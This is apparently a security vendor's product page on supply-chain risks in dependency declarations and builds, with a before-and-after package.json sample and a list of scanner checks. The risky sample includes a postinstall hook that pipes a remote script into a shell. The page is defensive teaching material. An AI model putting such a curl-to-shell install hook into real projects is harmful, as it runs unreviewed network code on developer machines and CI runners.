Supply-chain security: dependencies and builds

Why this area matters

Supply-chain attacks scale: one compromised package or build step reaches every project that trusts it. Dependency confusion, typosquatting and hijacked maintainer accounts have all reached large companies, and OWASP Top 10 A08 (software and data integrity failures) covers this class (CWE-494, CWE-829, CWE-1104).

The risk is mostly in how dependencies are declared: internal package names that could be registered on a public registry, version ranges that accept any new release, Git dependencies on a branch, and install hooks that run arbitrary code. The supply-chain agent reviews those declarations together with your registry config.

What goes wrong in real applications

• Dependency confusion

  Unscoped internal package names can be claimed on a public registry; if the resolver checks the public registry, it may install the impostor.

• Unpinned versions and missing lockfiles

  Ranges like * or ^ and no committed lockfile mean every install can pull a new, unreviewed release — including a malicious one.

• Mutable sources

  Dependencies taken from a Git branch or an unversioned URL change whenever the source does.

• Install-time code execution

  postinstall hooks and curl-to-shell build steps run code from the network on developer machines and CI runners.

Sample: the risky pattern and the fix

{
  "name": "billing-service",
  "dependencies": {
    "acme-internal-auth": "^2.0.0",
    "left-pad": "*",
    "ui-kit": "github:someone/ui-kit#main"
  },
  "scripts": {
    "postinstall": "curl -sL https://example.com/setup.sh | sh"
  }
}

{
  "name": "billing-service",
  "dependencies": {
    "@acme/internal-auth": "2.3.1",
    "left-pad": "1.3.0",
    "ui-kit": "github:someone/ui-kit#<full-commit-sha>"
  },
  "scripts": {
    "postinstall": "node scripts/verify-setup.js"
  }
}

The internal package is unscoped, so a public package with the same name could be installed instead; other dependencies float, and the install runs a remote script. The fix scopes the internal package (mapped to your private registry in .npmrc), pins exact versions and a commit SHA, and keeps install steps local. Commit the lockfile so integrity hashes are checked.

Illustrative code, simplified for clarity — not taken from a customer repository.

What OpenRouting checks in your repository

• Manifests and lockfiles: version ranges, missing lockfiles, Git and URL dependencies
• Registry config (.npmrc, pip.conf, extra-index-url) and unscoped internal package names
• Install hooks and build scripts that fetch and execute remote code
• Dockerfile and CI steps that pipe downloads into a shell or skip checksum verification

Scope and limits

• It doesn't yet look up known vulnerabilities (CVEs) in your dependencies — SCA via OSV is planned for a later phase.
• It reviews how dependencies are declared, not the contents of each package, so a malicious release of a pinned dependency won't be detected by reading your repo.

Coverage areas reflect OpenRouting's check library. Code, secret and infrastructure scanning run today; other areas are rolling out. Scanners surface candidates and a review agent decides whether each one is real — it doesn't promise to find every issue.

Review agents for this area

• Supply chain — Checks dependency and build-time trust: pinning, lockfiles, registries and remote code.
• CI/CD pipeline — Checks pipelines for leaked secrets, untrusted code execution and over-broad tokens.